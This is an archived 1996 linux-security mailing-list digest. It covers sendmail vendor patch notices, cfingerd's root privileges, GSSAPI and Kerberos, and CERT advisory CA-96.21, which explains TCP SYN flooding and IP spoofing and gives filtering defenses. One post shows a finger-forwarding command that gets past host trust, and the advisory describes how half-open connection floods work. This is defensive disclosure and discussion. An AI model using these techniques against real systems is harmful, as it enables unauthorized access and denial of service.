vulnerabilities in those versions could be exploited if an intruder gains access to your system. This applies to sendmail.mx as well as other sendmail programs. Either delete these versions or change the protections on them to be non-executable. Similarly, if you replace /bin/mail with mail.local, remember to remove old copies of /bin/mail or make them non-executable. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, please contact the vendor directly. Digital Equipment Corporation ============================= [About the resource starvation problem] Source: Software Security Response Team Copyright (c) Digital Equipment Corporation 1996. All rights reserved. 08.SEP.1996 At the time of writing this document, patches (binary kits) for Digital's UNIX related operating systems are being developed. Digital will provide notice of availability for remedial kits through AES services (DIA, DSNlink FLASH), placed in the public FTP patch service domain and also be available from your normal Digital Support channel. ftp://ftp.service.digital.com/public/{OS/{vn.n} | | | |--version |--osf or ultrix 9/96 - DIGITAL EQUIPMENT CORPORATION Hewlett-Packard Company ======================= [About the resource starvation problem] HP-UX is vulnerable, and a patch is in progress. The HP SupportLine Mail Service provides notification of security patches for HP-UX to its 'security_info' mailing list. For information on the service, send mail to [email protected] with 'help' in the body of the message (without quotes). To report new security defects in HP software, send mail to [email protected]. IBM Corporation ================ The following APARs are being developed and will be available shortly. See the appropriate release below to determine your action. AIX 3.2 ------- Apply the following fixes to your system: APAR - IX61303 IX61307 AIX 4.1 ------- Apply the following fixes to your system: APAR - IX61162 IX61306 To determine if you have this APAR on your system, run the following command: instfix -ik IX61162 IX61306 AIX 4.2 ------- Apply the following fixes to your system: APAR - IX61304 IX61305 To determine if you have this APAR on your system, run the following command: instfix -ik IX61304 IX61305 To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, http://service.software.ibm.com/aixsupport/ or send e-mail to [email protected] with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. Linux ===== [For the resource starvation problem:] Debian Linux: not vulnerable (uses smail) Red Hat and derivatives: ftp://ftp.redhat.com/pub/redhat-3.0.3/i386/updates/RPMS/sendmail* Open Software Foundation ======================== OSF's OSF/1 R1.3.2 is not vulnerable to these types of attacks described in the resource starvation sections of the advisory. OSF's OSF/1 R1.3.2 is vulnerable to the buffer overflow problems. We will address the problem in our next maintenance release. The Santa Cruz Operation ======================== Any SCO operating system running a version of sendmail provided by SCO is vulnerable to this problem. SCO is providing Support Level Supplement (SLS) oss443a for the following releases to address this issue: SCO Internet FastStart release 1.0.0 SCO OpenServer releases 5.0.0 and 5.0.2 This SLS provides a pre-release version of sendmail release 8.7.6 for these platforms. SCO hopes to have a final version of sendmail 8.7.6 available to address both issues mentioned in this advisory in the near future. Note that only SCO Internet FastStart uses sendmail as the default mail system. All other SCO operating systems use other mail systems such as the Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr" mail system as the default, and as such are not vulnerable to this problem unless otherwise configured to use sendmail. SCO intends to provide a similar patch for SCO UnixWare release 2.1.0 in the near future. When configured to use a version of sendmail provided by SCO, releases prior to the ones mentioned here are also vulnerable, but no plans have yet been made concerning patches for these earlier releases. You can download SLS oss443a as shown below. Anonymous ftp (World Wide Web URL) ------------- ftp://ftp.sco.COM/SSE/oss443a (SLS image) ftp://ftp.sco.COM/SSE/oss443a.ltr.sse (cover letter/install notes) Compuserve ---------- SLS oss443a is also available in the SCO Forum on Compuserve. SCO Online Support (SOS) BBS ---------------------------- SLS oss443a can also be downloaded interactively via X, Y, or Z MODEM or Kermit, using the SCO Online Support System (SOS). Follow the menu selections under "Toolchest" from the main SOS menu. The phone numbers available for interactive transfer from SOS are: 1-408-426-9495 (USA) +44 (0)1923 210 888 (United Kingdom) Checksums --------- sum -r ------ 13804 630 oss443a 35304 14 oss443a.ltr.sse MD5 --- MD5 (oss443a) = 549260a71ca76f4e98dd38bccb72748c MD5 (oss443a.ltr.sse) = 7475d83f0db64a1af69eb66cd392a9d3 Be sure to keep track of the README file at ftp://ftp.sco.COM/SSE/README for updates to this supplement. If you have further questions, contact your support provider. If you need to contact SCO, please send electronic mail to [email protected], or contact SCO as follows. USA/Canada: 6am-5pm Pacific Daylight Time (PDT) ----------- 1-800-347-4381 (voice) 1-408-427-5443 (fax) Pacific Rim, Asia, and Latin American customers: 6am-5pm Pacific ------------------------------------------------ Daylight Time (PDT) 1-408-425-4726 (voice) 1-408-427-5443 (fax) Europe, Middle East, Africa: 9am-5:30pm Greenwich Mean Time (GMT) ---------------------------- +44 (0)1923 816344 (voice) +44 (0)1923 817781 (fax) Silicon Graphics, Inc. ====================== We are analyzing the vulnerability, and will provide additional information as it becomes available. Sun Microsystems, Inc. ====================== Sun is working on a patch which will fix both problems, and we expect to have it out by the end of the month. Also, we will send out a Sun bulletin on this subject at about the same time. - - ------------------------------------------------------------------------------ The CERT Coordination Center staff thanks Eric Allman, the author of sendmail, for his extensive assistance with this advisory, Wolfgang Ley of DFN-CERT for his support in the development of the advisory, and D. J. Bernstein of the University of Illinois at Chicago for reporting the resource starvation vulnerability. - - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. You can get the CERT PGP key from ftp://info.cert.org/pub/CERT_PGP.key Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.20.sendmail_vul http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMj/++HVP+x0t4w7BAQEoBQP/THORrwVlVF6WbC1zJ3V7fMLC3XSXoG7E WPbIxciOj1xwA14gvVGXyPMtnH6AmgD7PyzQyifzwu/MrecU3UHfgdjVlpJbRjFJ XplELdcjt39wKGz9TlurK/iE31PN/gOlcBBukyLjIuq9NHJEi9vN7M0nTp3KmW/b H66I2ElnY7w= =tQ1H - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #62 *********************************** linux-security-digest/v02.n063100664 1767 1767 61623 6220524417 15453 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #63 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 20 September 1996 Volume 02 : Number 063 [linux-security] Cfinger [linux-security] Re: GSSAPI for Linux (follow up..) Re: [linux-security] Finger Doubt [linux-security] Cfinger (Yet more :) Re: [linux-security] Re: GSSAPI for Linux (follow up..) [linux-security] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks ---------------------------------------------------------------------- From: Roscinante Date: Thu, 19 Sep 1996 12:26:23 -0400 (EDT) Subject: [linux-security] Cfinger > From: Janos Farkas > Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST) > Subject: Re: [linux-security] Finger Doubt > I have sent the author a letter, but never got any reply back (it's 3 > months later now!), so I just take the opportunity to warn the public > against its use. I had noticed that v1.2.2 had a 'finger.log' that could be written to a users homedir, and saw it wrote it as root. Big hole. I wrote the author, and he did some fixes, so now at least it changes uid to that of the user, so please look at cfingerd-1.2.3, and let us know if it's still a major security hole. I asked the author if he could change the program to not need root, but I suppose that would be major re-writing. Perhaps someone else can rewrite it, it's beyond my experience to do so. I am forwarding these messages to the cfinger mailing list, maybe the author will take action. ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R..R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: "Andrew G. Morgan" Date: Thu, 19 Sep 1996 11:00:49 -0700 (PDT) Subject: [linux-security] Re: GSSAPI for Linux (follow up..) I emailed a question about GSSAPI [General Security Services Application Program Interface] a week or two ago. Prompted by a request from Jeff Cook, it seemed like a good idea to make a follow up posting... A number of people [Jeff Cook, Isaac Hollander, Jared Mauch, Martin v.Loewis, Manoj V S Kasichainula, Eric M. Boyd and Dhaval M Shah (if I missed you out, please email me again, I must have lost your email :( ] responded with some relevant comments. Background: - ---------- For the uninitiated, GSSAPI is an attempt to define a standard for the use of off-the-shelf security service implementations by general applications. >From my reading of the two relevant rfc's [Which I have collected for convenience at http://parc.power.net/morgan/Linux-GSS/index.html ], the basic idea of GSS a generic set of calls that will provide for a secure exchange of information between remote computers over otherwise insecure channels. To be GSSAPI compliant, a security service must provide the gss_xxx calls documented in the rfc's. Similarly to take advantage of such generic services, an application blindly calls these functions to secure its data. Information: - ------------ >From the various emails I received, it has become clear that there is a reasonably complete implementation of GSSAPI for Kerberos 5 [ http://web.mit.edu/krb5/www/kerberos.html ftp://athena-dist.mit.edu/pub/ATHENA/kerberos ]. Also there is a JAVA-based, front end to the kerberos implementation can be found at, http://choices.cs.uiuc.edu/Security/JGSS/jgss.html In addition, there is an ILU implementation [ ftp://ftp.parc.xerox.com/pub/ilu/ilu.html ftp://ftp.parc.xerox.com/pub/ilu ] Of course, Kerberos is only available within the US. Outside the US, there is a ~90% pure JAVA implementation being pursued by Dhaval M. Shah, of the University of Wollongong, Australia. Discussion: - ----------- The point of my question, was to find out how flexible the GSSAPI is and to what extent implementations are freely available throughout the world. Basically, I have found that outside the US, there are no finished implementations of it available for free, and Kerberos, being written within the US is export restricted. So there is not much in the way of global availability. Jeff Cook did point me at the following URL: http://www.tis.com/crypto/ice.html , which looks interesting, and seems (at a first glance) to be more along the lines of the thoughts I was having when I posed my original question. Finally, what I had in mind when I posted before was an idea of developing a "pluggable" implementation of the GSSAPI that works like PAM. That is to say, the implementation is really a library that loads independently provided "modules" that perform the digital signatures/encryption etc. services. PAM has shown that this is both a viable and flexible method of dealing with authentication services, so I got to thinking about other types of security service. My motivation is to develop a globally available interface for security services, free of export restrictions and commercial licenses, that will encourage applications developers to start offering some security to their users. [Since the library I am proposing to build will have no encryption in it, it should be free of export restrictions...] I'd also like to produce a digital signature module that will offer people the peace of mind that no-one is going to hijack their telnet session etc.. This would be useful even in countries where the use of encryption is forbidden by law. I am still interested in doing this, but perhaps GSSAPI is not sufficiently general...? I welcome your comments. Andrew [email protected] ------------------------------ From: Ron Hensley Date: Wed, 18 Sep 1996 19:13:39 -0400 (EDT) Subject: Re: [linux-security] Finger Doubt > > Somedays ago, a certain person sent to our ISP a finger list;like > a warning (See? I-can-see-your-finger-and-theres-nothing-you-can-do type stuff) > I use the newest version of cfinger, setted to not allow general finger, just > specific ones. Does anyone knows how this person did that ? I hope I can > find out, otherwise, bye bye finger service. Not familliar with cfinger, but a lot of fingers are prone to indirection. For instance you tcwrapper finger on host B. Only people right there on Host B can do fingerl ocally, and people on Host A, as you trust Host A. But Host A isnt locked down: finger @host_A@host_B As Host A isnt locked, finger works, as B Trusts A, it works. Dont forget things like terminal servers etc that could be used as the indirection machine ******************************************************************* * Ron Hensley [email protected] * * Junior Systems Administrator http://www.dmv.com/~ron * * PGP Key at WWW Page * * DelMarVa OnLine 749-7898 Ext. 403 * ******************************************************************* ------------------------------ From: Roscinante Date: Thu, 19 Sep 1996 19:46:24 -0400 (EDT) Subject: [linux-security] Cfinger (Yet more :) I did it! I castrated it! ;) I hacked cfinger to no longer need root.. I just went thru and replaced nearly every instance of 'root' with 'nobody'... There's one routine in main.c that attempts to renice -20 cfingerd, I changed that to 1.. I seems to have broken the 'no root finger' but fuggit, I'm not a coder, I just mangle other peoples' code :) I wouldn't know how to make diffs, but I'll be glad to put the whole src up for grabs. The src I'm using is the 1.2.3 version, I'm going to make my changes to the 1.3.0 src, see if I can fix the no-root-finger thingy, and then tar it all up and put it on sunsite (unless someone advises against it ;) I had made another change previously with cfinger, I don't think I mentioned yet. cfinger is supposed to use its own 'userlist' program, which just happens to want to be installed suid-root! I changed userlist.c to use ordinary 'finger' (simple substitution here too, just change "userlist" to "finger" and change the display string a bit to match the output header).. If any real coders care to help my feeble hacking, please let me know! :) ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: Malcolm Beattie Date: Fri, 20 Sep 1996 09:57:00 +0100 (BST) Subject: Re: [linux-security] Re: GSSAPI for Linux (follow up..) Andrew G. Morgan writes: > > I emailed a question about GSSAPI [General Security Services > Application Program Interface] a week or two ago. Prompted by a > request from Jeff Cook, it seemed like a good idea to make a follow up > posting... [...] > Of course, Kerberos is only available within the US. Rubbish. See, for example, ftp://ftp.ox.ac.uk/pub/comp/security/software/Kerberos5 I am going to put up an RPM for K5beta7 RSN. I prepared one for beta6 and the binary RPM came out at slightly over a megabyte (thanks to --enable-shared working nicely). I mailed RedHat a couple of weeks or so ago asking them to add the Kerberos ports to /etc/services (in the "setup" RPM) but they haven't replied yet. That means you have to manually append to /etc/services (on the client side, kshell needs to be in there for rsh to work). Apart from that, a single "rpm -i" and everything works fine (well it did with beta6 but beta7 seems to have broken credential forwarding for some reason). - --Malcolm - -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------ From: CERT Advisory Date: Thu, 19 Sep 1996 16:36:42 -0400 Subject: [linux-security] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.21 Original issue date: September 19, 1996 Last revised: -- Topic: TCP SYN Flooding and IP Spoofing Attacks - - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:01. *** Two "underground magazines" have recently published code to conduct denial-of-service attacks by creating TCP "half-open" connections. This code is actively being used to attack sites connected to the Internet. There is, as yet, no complete solution for this problem, but there are steps that can be taken to lessen its impact. Although discovering the origin of the attack is difficult, it is possible to do; we have received reports of attack origins being identified. Any system connected to the Internet and providing TCP-based network services (such as a Web server, FTP server, or mail server) is potentially subject to this attack. The consequences of the attack may vary depending on the system; however, the attack itself is fundamental to the TCP protocol used by all systems. If you are an Internet service provider, please pay particular attention to Section III and Appendix A, which describes step we urge you to take to lessen the effects of these attacks. If you are the customer of an Internet service provider, please encourage your provider to take these steps. This advisory provides a brief outline of the problem and a partial solution. We will update this advisory as we receive new information. If the change in information warrants, we may post an updated advisory on comp.security.announce and redistribute an update to our cert-advisory mailing list. As always, the latest information is available at the URLs listed at the end of this advisory. - - ----------------------------------------------------------------------------- I. Description When a system (called the client) attempts to establish a TCP connection to a system providing a service (the server), the client and server exchange a set sequence of messages. This connection technique applies to all TCP connections--telnet, Web, email, etc. The client system begins by sending a SYN message to the server. The server then acknowledges the SYN message by sending SYN-ACK message to the client. The client then finishes establishing the connection by responding with an ACK message. The connection between the client and the server is then open, and the service-specific data can be exchanged between the client and the server. Here is a view of this message flow: Client Server ------ ------ SYN--------------------> <--------------------SYN-ACK ACK--------------------> Client and server can now send service-specific data The potential for abuse arises at the point where the server system has sent an acknowledgment (SYN-ACK) back to client but has not yet received the ACK message. This is what we mean by half-open connection. The server has built in its system memory a data structure describing all pending connections. This data structure is of finite size, and it can be made to overflow by intentionally creating too many partially-open connections. Creating half-open connections is easily accomplished with IP spoofing. The attacking system sends SYN messages to the victim server system; these appear to be legitimate but in fact reference a client system that is unable to respond to the SYN-ACK messages. This means that the final ACK message will never be sent to the victim server system. The half-open connections data structure on the victim server system will eventually fill; then the system will be unable to accept any new incoming connections until the table is emptied out. Normally there is a timeout associated with a pending connection, so the half-open connections will eventually expire and the victim server system will recover. However, the attacking system can simply continue sending IP-spoofed packets requesting new connections faster than the victim system can expire the pending connections. In most cases, the victim of such an attack will have difficulty in accepting any new incoming network connection. In these cases, the attack does not affect existing incoming connections nor the ability to originate outgoing network connections. However, in some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. The location of the attacking system is obscured because the source addresses in the SYN packets are often implausible. When the packet arrives at the victim server system, there is no way to determine its true source. Since the network forwards packets based on destination address, the only way to validate the source of a packet is to use input source filtering (see Appendix A). II. Impact Systems providing TCP-based services to the Internet community may be unable to provide those services while under attack and for some time after the attack ceases. The service itself is not harmed by the attack; usually only the ability to provide the service is impaired. In some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. III. Solution There is, as yet, no generally accepted solution to this problem with the current IP protocol technology. However, proper router configuration can reduce the likelihood that your site will be the source of one of these attacks. Appendix A contains details about how to filter packets to reduce the number of IP-spoofed packets entering and exiting your network. It also contains a list of vendors that have reported support for this type of filtering. NOTE to Internet Service Providers: We STRONGLY urge you to install these filters in your routers to protect your customers against this type of an attack. Although these filters do not directly protect your customers from attack, the filters do prevent attacks from originating at the sites of any of your customers. We are aware of the ramifications of these filters on some current Mobile IP schemes and are seeking a position statement from the appropriate organizations. NOTE to customers of Internet service providers: We STRONGLY recommend that you contact your service provider to verify that the necessary filters are in place to protect your network. Many networking experts are working together to devise improvements to existing IP implementations to "harden" kernels to this type of attack. When these improvements become available, we suggest that you install them on all your systems as soon as possible. This advisory will be updated to reflect changes made by the vendor community. IV. Detecting an Attack Users of the attacked server system may notice nothing unusual since the IP-spoofed connection requests may not load the system noticeably. The system is still able to establish outgoing connections. The problem will most likely be noticed by client systems attempting to access one of the services on the victim system. To verify that this attack is occurring, check the state of the server system's network traffic. For example, on SunOS this may be done by the command: netstat -a -f inet Too many connections in the state "SYN_RECEIVED" indicates that the system is being attacked. ........................................................................... Appendix A - Reducing IP Spoofed Packets 1. Filtering Information - - ------------------------- With the current IP protocol technology, it is impossible to eliminate IP-spoofed packets. However, you can take steps to reduce the number of IP-spoofed packets entering and exiting your network. Currently, the best method is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network to prevent a source IP spoofing attack from originating from your site. The combination of these two filters would prevent outside attackers from sending you packets pretending to be from your internal network. It would also prevent packets originating within your network from pretending to be from outside your network. These filters will *not* stop all TCP SYN attacks, since outside attackers can spoof packets from *any* outside network, and internal attackers can still send attacks spoofing internal addresses. We STRONGLY urge Internet service providers to install these filters in your routers. In addition, we STRONGLY recommend customers of Internet service providers to contact your service provider to verify that the necessary filters are in place to protect your network. 2. Vendor Information - - ---------------------- The following vendor(s) have reported support for the type of filtering we recommend and provided pointers to additional information that describes how to configure your router. If you need more information about your router or about firewalls, please contact your vendor directly. Cisco ----- Refer to the section entitiled "ISP Security Advisory" on http://www.cisco.com for an up-to-date explanation of how to address TCP SYN flooding on a Cisco router. NOTE to vendors: If you are a router vendor who has information on router capabilities and configuration examples and you are not represented in this list, please contact the CERT Coordination Center at the addresses given in the Contact Information section below. We will update the advisory after we hear from you. 3. Alternative for routers that do not support filtering on the inbound side - - ---------------------------------------------------------------------------- If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. Note: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to follow. On the input to your external interface, that is coming from the Internet to your network, you should block packets with the following addresses: * Broadcast Networks: The addresses to block here are network 0 (the all zeros broadcast address) and network 255.255.255.255 (the all ones broadcast network). * Your local network(s): These are your network addresses * Reserved private networks: The following networks are defined as reserved private networks and no traffic should ever be received from or transmitted to these networks through a router: 10.0.0.0 127.0.0.0 172.16.0.0 192.168.0.0 - - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks the team members of NASIRC for contributing much of the text for this advisory and thanks the many experts who are devoting time to addressing the problem and who provided input to this advisory. - - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkGmUnVP+x0t4w7BAQHPcgP9Fxarwmbfq9rQtj3+CktCU3HtYtX4wgSQ RW+hl6Z9lig61ha+bgEyEUqj/1ishwlJopgJ7LOMjgfzjGZt/25/+XmHCrOcUSNx +eoqAcg59eisXtWXFgOLgfcadcH/9dDRHn3WUcXYrAFFpXPREBS66P2Tbo8MlmzX l0LbKYde7uc= =iZ8P - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #63 *********************************** linux-security-digest/v02.n064100664 1767 1767 51333 6222320552 15445 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #64 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 25 September 1996 Volume 02 : Number 064 Re: [linux-security] Finger Doubt Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Cfinger (Yet more :) [linux-security] Syn flood/IP spoofing tests Re: [linux-security] Cfinger (Yet more :) Re: [linux-security] Finger Doubt [linux-security] CERT Summary CS-96.05 ---------------------------------------------------------------------- From: "Alexander O. Yuriev" Date: Fri, 20 Sep 1996 07:16:03 -0400 Subject: Re: [linux-security] Finger Doubt > But Host A isnt locked down: > finger @host_A@host_B > In case it was not yet mentioned, out of the box fingerd can be configured to disallow figer forwarding. Lets be careful with making statements "As Host A isnt locked, finger works, as B Trusts A, it works". It works only in a misconfigured environment. Alex ------------------------------ From: Grant Taylor Date: Fri, 20 Sep 1996 13:28:20 -0400 Subject: Re: [linux-security] Cfinger (Yet more :) >>>>> Roscinante writes: > I hacked cfinger to no longer need root. When I decided I needed a cluster-saavy finger daemon, I did rather the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, and decided to write my own. My little fingerd is extremely simple, and is intended to be relatively secure while still returning who's where on my machines. Rather than trust cfinger or rehash the same idea, I took the easy way out - this fingerd reads information from /var/rwho. This use of rwhod is appropriate for sites which have some degree of trust in their local network users (and which filter udp services like rwho at all external interfaces). While it's been running fine here for some time, I'd love to have some input from other sites. Give it a whirl: ftp://ftp.picante.com/pub/gtaylor/misc/fingerd.c - -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Where do these people come from? Finger for PGP public key. ------------------------------ From: David Holland Date: Mon, 23 Sep 1996 13:58:06 -0400 (EDT) Subject: Re: [linux-security] Cfinger (Yet more :) > When I decided I needed a cluster-saavy finger daemon, I did rather > the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, > and decided to write my own. As have I, at least twice. > My little fingerd is extremely simple, and is intended to be > relatively secure while still returning who's where on my machines. > Rather than trust cfinger or rehash the same idea, I took the easy way > out - this fingerd reads information from /var/rwho. Aside from the fact that the standard rwho protocol is a complete loss, this isn't a bad idea. The only problem is that rwho doesn't give last login information. This may or may not be an issue. I wrote a better rwho system, and a finger system to go along with it, for the local computer center a couple years ago. I'm working on trying to shake loose permission to release it. (Also, why the fuss about fingerd? fingerd is just a wrapper that runs finger.) - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: Grant Taylor Date: Mon, 23 Sep 1996 14:21:02 -0400 Subject: Re: [linux-security] Cfinger (Yet more :) >>>>> David Holland writes: >> My little fingerd is extremely simple, and is intended to be >> relatively secure while still returning who's where on my machines. >> Rather than trust cfinger or rehash the same idea, I took the easy way >> out - this fingerd reads information from /var/rwho. > Aside from the fact that the standard rwho protocol is a complete > loss, this isn't a bad idea. The only problem is that rwho doesn't > give last login information. This may or may not be an issue. It's not an issue for me, since last login time is among the things I *don't* want to give out. You are certainly correct that the rwho protocol is pathetic, but it has the advantage of being already written and more or less adequate for single segment networks where you trust people. > (Also, why the fuss about fingerd? fingerd is just a wrapper that > runs finger.) Because I like different levels of information for random net users and local users. Local users are welcome to know where each other's mail goes, when foo was last on, etc. "Strangers" are welcome to know who's where now and only now, and whatever my users explicitly give away in .plan and .project. I also have an unreasoning fear of any network sevice that runs commands derived from untrusted input, particularly when it's not subject to as much scrutiny as, say, sendmail or httpd. - -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Where do these people come from? Finger for PGP public key. ------------------------------ From: "B. James Phillippe" Date: Mon, 23 Sep 1996 17:57:28 -0700 (PDT) Subject: [linux-security] Syn flood/IP spoofing tests Hello Everyone, I'd like to perform a series of syn flood resistance tests on linux-2.0.21 and linux-2.0.21+Alan-Cox's-syn-resistant-patch. I'd like to know of an efficient method of syn-flooding my test box. I don't know the best place to obtain such a creature and I'd prefer to not have to slink around IRC talking to w4r3s people. This is a legitimate test which will not involve any machines other than my own test computer within our test network at my office. I would greatly appreciate any help in finding adequate test software, and any test suggestions for that matter (how to draw up a statistical report on the effectiveness of the syn-flood resistant patch). I will make available these semi-accurate results to anyone who asks for them. Also, for those interested in obtaining the afore-mentioned patch, you may find it on the kernel mailing list or obtain it from my personally. Please contact me at [email protected]. Thank you very much for any assistance you can provide, and have a nice day. - -Bryan - -- # B. James Phillippe # System Administrator [terran.org] # ~ http://w3.terran.org/~bryan ------------------------------ From: [email protected] (lilo) Date: Sun, 22 Sep 1996 18:36:00 -0500 (CDT) Subject: Re: [linux-security] Cfinger (Yet more :) - -----BEGIN PGP SIGNED MESSAGE----- On Fri, 20 Sep 1996, Grant Taylor wrote: > >>>>> Roscinante writes: > > > I hacked cfinger to no longer need root. > > When I decided I needed a cluster-saavy finger daemon, I did rather > the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, > and decided to write my own. > > My little fingerd is extremely simple, and is intended to be > relatively secure while still returning who's where on my machines. > Rather than trust cfinger or rehash the same idea, I took the easy way > out - this fingerd reads information from /var/rwho. > > This use of rwhod is appropriate for sites which have some degree of > trust in their local network users (and which filter udp services like > rwho at all external interfaces). It's also quite modifiable, for those of us who would prefer not to trust rwho. It's an excellent example of the species `simple finger daemon.' Would appreciate it if you could put it under GPL or FreeBSD license....I know it's short, but some of us would probably like to modify it and redistribute, there's lots of room for tinkering there.... lilo - -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv Comment: Government is always benevolent. Privacy is overrated. iQCVAwUBMkXNb523L4XLlypxAQG8lAP9HuWL8+FaynMFB6TIO4j8Kn9VWGceQJb/ Mp/XgCwEzQZhuCtRwkMk+Z1h83za4Q88Wx7AOp24l8ZnOJQQiSpshVAC9y6kNjZ6 0adP8LToSFghcdZ+vTr91akZlTQaqPrBDn432cykihbActLXDj5KTP18nbRTEz19 EG/7oalPeik= =iTDy - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Richard Huveneers) Date: 23 Sep 1996 20:44:48 GMT Subject: Re: [linux-security] Finger Doubt In article , [email protected] (Janos Farkas) writes: > >However if you just need a finger daemon, you may take a look at xfingerd, >at >ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz >which is the one I wrote when I got desperate about cfingerd. (If you take >a look at its date stamp, you can see that cfingerd is long broken..) I >too can't garantee that it's good for you, but it at least doesn't require >to be run as root, which is why I started being against cfingerd. I downloaded cfingerd once too. After examining the source code and some communications with the author (he responded quickly), I didn't trust it either. Did a lot of searching on the web and found 'ffingerd'. This one looks very secure to me. For instance, it's not capable of forwarding finger queries and global (@...) finger queries. It should be run as nobody and 